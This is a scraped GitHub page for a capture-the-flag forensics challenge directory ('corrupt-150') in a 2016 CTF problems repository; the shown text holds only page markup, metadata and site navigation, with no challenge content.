src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfx-problems-2016/forensics/corrupt-150 at master · ctf-x/ctfx-problems-2016 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B128:7430:52B8A9E:54F2AB7:6412291C" data-pjax-transient="true"/><meta name="html-safe-nonce" content="cdc9e59940dc58387da7e97ea0035343af83d49d9bc48048e8a39e0bd1bb4407" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMTI4Ojc0MzA6NTJCOEE5RTo1NEYyQUI3OjY0MTIyOTFDIiwidmlzaXRvcl9pZCI6IjU2NzkzMTYzNDE4NjcyOTI5NTYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="ca90f7ebdc3c4adffb57942fde283aed1fb989a9063071f0d76657dc120a1515" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:62685294" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/corrupt-150 at master · ctf-x/ctfx-problems-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfx-problems-2016/forensics/corrupt-150 at master · ctf-x/ctfx-problems-2016" /><meta name="twitter:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/corrupt-150 at master · ctf-x/ctfx-problems-2016" /> <meta property="og:image" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta property="og:image:alt" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/corrupt-150 at master · ctf-x/ctfx-problems-2016" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfx-problems-2016/forensics/corrupt-150 at master · ctf-x/ctfx-problems-2016" /><meta property="og:url" content="https://github.com/ctf-x/ctfx-problems-2016" /><meta property="og:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/corrupt-150 at master · ctf-x/ctfx-problems-2016" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/ctf-x/ctfx-problems-2016 git https://github.com/ctf-x/ctfx-problems-2016.git">
<meta name="octolytics-dimension-user_id" content="20324072" /><meta name="octolytics-dimension-user_login" content="ctf-x" /><meta name="octolytics-dimension-repository_id" content="62685294" /><meta name="octolytics-dimension-repository_nwo" content="ctf-x/ctfx-problems-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="62685294" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctf-x/ctfx-problems-2016" />
<link rel="canonical" href="https://github.com/ctf-x/ctfx-problems-2016/tree/master/forensics/corrupt-150" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
